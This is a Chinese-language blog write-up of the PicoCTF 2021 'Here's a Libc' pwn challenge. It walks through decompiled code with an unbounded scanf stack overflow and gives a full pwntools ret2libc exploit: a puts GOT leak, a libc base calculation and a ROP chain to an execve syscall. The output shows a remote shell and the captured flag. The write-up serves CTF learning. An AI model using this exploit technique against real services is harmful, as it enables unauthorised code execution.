selph
selph
Published on 2023-11-07 / 224 Visits
0
0

[Pico CTF 2021]pwn-Here's a Libc

题目分析

无PIE,有NX,无Canary,一眼疑似栈溢出

[*] "/home/selph/Downloads/PicoCTF/pwn-Here's a LIBC/vuln"
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  b'./'

给了个二进制程序,逆向看看:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  void *v3; // rsp
  char v4; // al
  char *v5; // rdi
  const char **v6; // [rsp+0h] [rbp-80h] BYREF
  int v7; // [rsp+Ch] [rbp-74h]
  char v8[40]; // [rsp+10h] [rbp-70h] BYREF
  char *s; // [rsp+38h] [rbp-48h]
  __int64 v10; // [rsp+40h] [rbp-40h]
  unsigned __int64 v11; // [rsp+48h] [rbp-38h]
  __gid_t rgid; // [rsp+54h] [rbp-2Ch]
  unsigned __int64 i; // [rsp+58h] [rbp-28h]

  v7 = argc;
  v6 = argv;
  setbuf(_bss_start, 0LL);
  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  v11 = 27LL;
  strcpy(v8, "Welcome to my echo server!");
  v10 = 26LL;
  v3 = alloca(32LL);
  s = (char *)&v6;
  for ( i = 0LL; i < v11; ++i )
  {
    v4 = convert_case((unsigned int)v8[i], i);
    s[i] = v4;
  }
  v5 = s;
  puts(s);
  while ( 1 )
    do_stuff(v5);                               // vuln function
}

就是个echo服务器,用户输入和处理都在do_stuff函数里

int do_stuff()
{
  char v0; // al
  char v2; // [rsp+Fh] [rbp-81h] BYREF
  char s[112]; // [rsp+10h] [rbp-80h] BYREF
  __int64 v4; // [rsp+80h] [rbp-10h]
  unsigned __int64 i; // [rsp+88h] [rbp-8h]

  v4 = 0LL;
  __isoc99_scanf("%[^\n]", s);                  // 栈溢出
  __isoc99_scanf("%c", &v2);
  for ( i = 0LL; i <= 0x63; ++i )
  {
    v0 = convert_case(s[i], i);
    s[i] = v0;
  }
  return puts(s);
}

这里有个接收字符串到局部变量,但是没限制长度,存在栈溢出问题,溢出长度是0x88字节

漏洞利用

溢出的攻击目标

  • Elf:

    1. 后门函数:没有
    2. ROP去syscall execve /bin/sh​:gadgets不够
  • Libc:

    1. 泄露Libc基地址:可行
    2. one_gadget:可试
    3. 基于libc的gadgets去ROP执行execve:可试

要泄露Libc基地址,只需要通过rop跳转去执行puts函数,参数是某个函数的got地址

有了libc,接下来就可以使用libc的gadgets来进行rop了

经过测试one_gadget无法拿到shell,故尝试rop去执行execve

通过ROPGadgets可以搜索libc里的字符串:

ROPGadgets --binary libc.so.6 -string “/bin/sh”

完整EXP:

#!/bin/python3
from pwn import *
warnings.filterwarnings(action='ignore',category=BytesWarning)
context.log_level = 'debug'
FILE_NAME = "./vuln"
REMOTE_HOST = "mercury.picoctf.net"
REMOTE_PORT = 42072


elf = context.binary = ELF(FILE_NAME)
libc = elf.libc

gs = '''
b*0x400770
continue
continue
'''
def start():
    if args.REMOTE:
        return remote(REMOTE_HOST,REMOTE_PORT)
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)

# ======= helper function ===============

# Calculate the "wraparound" distance between two addresses.
def delta(x, y):
    return (0xffffffffffffffff - x) + y

# =======================================

io = start()

io.timeout = 0.1

# =============================================================================
# ============== exploit ===================
pop_rdi_ret = 0x0000000000400913 # pop rdi ; ret

# rop to print put's got

# leak the libc
buf =  b"a"*0x88
buf += pack(pop_rdi_ret)
buf += pack(elf.got['puts'])
buf += pack(elf.sym.puts)
buf += pack(elf.sym.main)


io.sendlineafter(b"WeLcOmE To mY EcHo sErVeR!\n",buf)
print(io.recvline(timeout=1))
print(io.recvline(timeout=1))
a = io.recvline()[:-1]
print(a)
a = a.ljust(8,b'\x00')
print(a)
a = unpack(a)
print("puts: "+hex(a))

libc.address = a - libc.sym.puts
print("libc: " + hex(libc.address))
# 0x00000000001b40fa : /bin/sh
#pause()
"""
rax:  0x3b              Specify execve syscall
rdi:  ptr to "/bin/sh"  Specify file to run
rsi:  0x0               Specify no arguments
rdx:  0x0               Specify no environment variables
"""

buf2 =  b"b"*0x88
buf2 += pack(pop_rdi_ret)
buf2 += pack(libc.address + 0x00000000001b40fa)
buf2 += pack(libc.address + 0x0000000000043a78) # pop rax
buf2 += pack(0x3b)
buf2 += pack(libc.address + 0x0000000000001b96) # pop rdx
buf2 += pack(0)
buf2 += pack(libc.address + 0x0000000000023e8a) # pop rsi
buf2 += pack(0)
buf2 += pack(libc.address + 0x00000000000013c0) # syscall

io.sendlineafter(b"WeLcOmE To mY EcHo sErVeR!\n",buf2)

# =============================================================================

io.interactive()

运行结果:

[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x30 bytes:
    b'flag.txt\n'
    b'libc.so.6\n'
    b'vuln\n'
    b'vuln.c\n'
    b'xinet_startup.sh\n'
flag.txt
libc.so.6
vuln
vuln.c
xinet_startup.sh
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    b'cat flag.txt\n'
[DEBUG] Received 0x2d bytes:
    b'picoCTF{1_<3_sm4sh_st4cking_3a9ee516616d21b3}'

Comment